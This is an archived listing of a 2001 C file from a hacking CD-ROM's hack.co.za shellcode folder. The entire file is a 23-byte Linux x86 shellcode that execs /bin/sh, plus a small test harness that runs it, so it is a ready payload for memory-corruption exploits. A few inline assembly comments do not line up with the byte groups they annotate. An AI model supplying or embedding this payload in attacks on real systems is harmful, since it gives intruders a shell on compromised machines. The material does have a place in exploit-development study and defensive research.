home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / execve-binsh.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-04-29  |  921 b   |  24 lines

  1. /************************************************************
  2. * Linux 23 byte execve code. Greetz to preedator            *
  3. *                                          marcetam         *
  4. *                                      admin@marcetam.net   *
  5. *************************************************************/
  6. char linux[]=
  7.   "\x99"            /* cdq              */
  8.   "\x52"            /* push %edx        */
  9.   "\x68\x2f\x2f\x73\x68"    /* push $0x68732f2f */
  10.   "\x68\x2f\x62\x69\x6e"    /* push $0x6e69622f */
  11.   "\x89\xe3"            /* mov %esp,%ebx    */
  12.   "\x52"            /* push %edx        */
  13.   "\x54"            /* push %esp        */
  14.   "\x54"            /* push %esp        */
  15.   "\x59\x6a"            /* pop %ecx         */
  16.   "\x0b\x58"            /* push $0x0b       */
  17.   "\xcd\x80";            /* int $0x80        */
  18.  
  19. int main(){
  20.   void (*run)()=(void *)linux;
  21.   printf("%d bytes \n",strlen(linux));
  22.   run();
  23. }
  24. /*                www.hack.co.za           [28 April 2001]*/